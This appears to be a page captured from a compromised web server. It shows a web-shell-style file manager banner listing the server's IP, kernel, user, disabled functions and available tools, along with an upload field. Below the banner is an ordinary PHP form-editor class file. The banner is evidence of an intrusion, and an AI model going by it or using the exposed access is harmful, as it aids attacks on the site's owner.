Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/kjvdictionary_store/modules/formEdit/model/ |
Upload File : |
<?php
class formEditBase {
protected $name;
protected $type;
protected $value;
protected $caption;
protected $required;
protected $parent;
function __construct($parent) {
$this->parent = $parent;
}
public function Parent() {
if (func_num_args()) {
$this->parent = func_get_arg(0);
return $this;
}
return $this->parent;
}
public function Name() {
if (func_num_args()) {
$this->name = func_get_arg(0);
return $this;
}
return $this->name;
}
public function Caption() {
if (func_num_args()) {
$this->caption = func_get_arg(0);
return $this;
}
return $this->caption;
}
public function Type() {
if (func_num_args()) {
$this->type = func_get_arg(0);
return $this;
}
return $this->type;
}
public function Value() {
if (func_num_args()) {
$this->value = func_get_arg(0);
return $this;
}
return $this->value;
}
public function Required() {
if (func_num_args()) {
$this->required = func_get_arg(0);
return $this;
}
return $this->required;
}
public function AsJson() {
$res = [
'name' => $this->name,
'type' => $this->type,
'caption' => $this->caption,
];
$res = hook_execute('form.field.json', $res, $this);
return $res;
}
public function AsDraggableObject() {
$fieldname = $this->name;
$caption = $this->caption;
$dcaption = htmlspecialchars($caption);
return <<<BLOCK
<div class="formwizard_item" id="fe_{$fieldname}" data-name="{$fieldname}">{$dcaption}<div class="formwizard_itemedit" onclick="formwizard_remove('{$fieldname}')"></div></div>
BLOCK;
}
public function asHTML() {
// hook
}
static
public function Create($parent, $type, $name, $caption) {
switch($type) {
case 'string':
$res = new formEditString($parent);
break;
case 'email':
$res = new formEditEmail($parent);
break;
case 'tel':
$res = new formEditPhone($parent);
break;
case 'text':
$res = new formEditText($parent);
break;
case 'submit':
$res = new formEditButton($parent);
break;
}
return $res->Name($name)
->Caption($caption);
}
}
class formEditString extends formEditBase {
function __construct($parent) {
parent::__construct($parent);
$this->Type('string');
}
}
class formEditEmail extends formEditBase {
function __construct($parent) {
parent::__construct($parent);
$this->Type('email');
}
}
class formEditPhone extends formEditBase {
function __construct($parent) {
parent::__construct($parent);
$this->Type('tel');
}
}
class formEditText extends formEditBase {
function __construct($parent) {
parent::__construct($parent);
$this->Type('text');
}
}
class formEditBoolean extends formEditBase {
function __construct($parent) {
parent::__construct($parent);
$this->Type('boolean');
}
}
class formEditButton extends formEditBase {
function __construct($parent) {
parent::__construct($parent);
$this->Type('submit');
}
public function AsJson() {
$data = is_object($this->parent) ? $this->parent?->x_data : NULL;
if (empty($data['preview'])) {
$button = hook_execute_late('html.button', '', $this->caption, '', 'cc-blue');
$res = [
'name' => $this->name,
'type' => 'button',
'custom' => "<a class=\"submit\" href=\"#\">$button</a>",
];
} else {
$res = [
'name' => $this->name,
'type' => 'button',
'custom' => "<button onclick=\"javascript:return false\" title=\"non-functioning placeholder\">{$this->caption}</button>",
];
}
$res = hook_execute('form.field.json', $res, $this);
return $res;
}
}